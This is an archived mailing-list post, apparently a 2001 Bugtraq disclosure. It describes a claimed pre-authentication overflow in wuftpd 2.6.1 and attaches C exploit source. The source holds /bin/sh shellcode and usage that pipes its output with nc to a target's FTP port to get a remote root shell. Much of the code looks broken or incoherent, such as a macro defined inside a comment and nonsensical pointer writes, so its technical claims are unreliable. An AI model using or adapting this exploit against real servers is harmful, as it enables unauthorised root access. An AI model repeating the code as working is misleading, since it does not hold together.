Hello, In the interests of full disclosure, I am posting an exploit that was developed single-handedly by my good friend Andrew Plughes over the weekend. I had absolutely no part in the discovery of this serious vulnerability, so I won't soak in Andrew's credit ;). I have also mirrored this advisory+exploit on my website: http://www.techbroker.com/wu261.txt It's been a pleasure having Andrew as a cohort over the years, and I'd like to thank him for selflessly dedicating himself to security research. We acknowledge a risk involved in submitting exploit code to a public forum, with the possibility of characters of low demeanour getting their hands on it. After lengthy discussions, we decided that the work required to exploit the vulnerability is sufficient to raise the bar on using it. Yours truly, Carolyn Meinel cmeinelat_private --- Carolyn, my initial ideas about the vulnerability were not entirely accurate, but I have confirmed that it -does- indeed exist. I am enclosing some code that will spawn a remote root shell on vulnerable systems, although it does require some effort to get it up and running. It works against some Linux machines Bill gave me access to, and I suspect it will work against the BSDs (chroot-breaking is not a problem). At your request, I have sent the developers the intricate details of the hole in wuftpd 2.6.1 (and 2.6.0, but not in 2.5.x as far as I can see). To outline the vulnerability for Bugtraq: - The overflow occurs in the pre-authentication stages of the client session. - During the transition to the 2.6.x releases, the wuftpd development team redesigned the command processing code in the daemon. Earlier releases are not believed to be vulnerable to similar problems. - There is a strncat() cast overflow in the way a signed integer derived from a malicious command length is used as the third argument in an attempt to confine data within a buffer allocated on the stack (they don't believe a command containing 1 character will occur). If we make the signed integer negative, we are granted the ability to transform the third argument to strncat() into a HUGE positive value. However, because (signed_integer + 2) is used to dynamically allocate memory elsewhere with malloc(), we should set this integer to -2, or preferably -1. There will be subsequent heap corruption, but this occurs after the stack smash. That may be worth looking at too. - We can only overflow by one byte because of the call to exit() that will be made if strlen() flags the string as being too large. As luck would have it, the target buffer is adjacent to the saved frame pointer in the vulnerable function, and we can take advantage of this in a similar way to the OpenBSD ftpd vulnerability. I have sent a patch to the wuftpd developers, but it just checks for the evil negative integer created indirectly as a result of the short command. I'm sure the developers will release a more involved patch within the next few days. Disable the daemon immediately. While this is not something that will be easily exploited (my demonstration exploit needs some work), it is a very serious threat. -- Andrew Plughes Network security aficionado / UNIX administrator /* * wu261.c * wuftpd 2.6.1 exploit (remote root) * * Vulnerability and code from Andrew Plughes. * * Usage: (./wu261 [address]; cat) | nc host 21 * address = argument location on heap (defeats Openwall) * * Demonstrates a flaw in the pre-authentication code of * wuftpd 2.6.x which allows us to gain control of the * target process by displacing a saved frame pointer. * * Tested against some Linux distributions. * * I'd like to thank Bill Harrington for providing me * with some test boxes. * */ #include <stdio.h> #include <stdlib.h> #include <string.h> unsigned char linux_x86[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned char *shellcode = linux_x86; //#define POTS 12 /* fill these in for your #define DEF_ALGN 1 * target system //#define HEAP_ADDR 0x41414141 */ int main(int argc, char *argv[]) { int i; unsigned long attack[1028 / 4]; /* redhat 7.0 */ #define ADDR 0x08049588 #define POSITION_OF_THE_STRING 16 #define target (unsigned long) // unsigned long arg_addr = target HEAP_ADDR, align = DEF_ALGN; unsigned long arg_addr = ADDR, align = DEF_ALGN, pots = POSITION_OF_THE_STRING; if(argc == 2) arg_addr = strtoul(argv[1], NULL, 0); system("clear"); fputs("wuftpd 2.6.1 exploit\n", stderr); fputs("developed by Andrew Plughes\n", stderr); for(i = 0; i < 1028 / 4; i++) attack[i] = arg_addr; /* trigger the cast overflow with this command */ sprintf((char *)attack, "U aa"); // "aa" -> for "\r\n" /* position of the string */ for(i = 0; i < 4; i++) sprintf((char *)attack+4+i, "%c", (unsigned long)puts >> i * 8 & 0xff); /* function var position */ pots = *(unsigned long *)(attack[1] + 2); // rh7 -> attack+16+2 /* set the function var accordingly */ *(unsigned long *)pots = align; /* spaces for the process alignment */ sprintf((char *)attack+20, "%*s", align % 4, " "); printf("USER %s\r\n", shellcode); printf("%s\r\n", attack); puts("echo ~ ok, it seems to have worked... remember: \"); puts("rm -rf is not elite ~"); exit(0); }
This archive was generated by hypermail 2b30 : Wed Sep 19 2001 - 08:21:11 PDT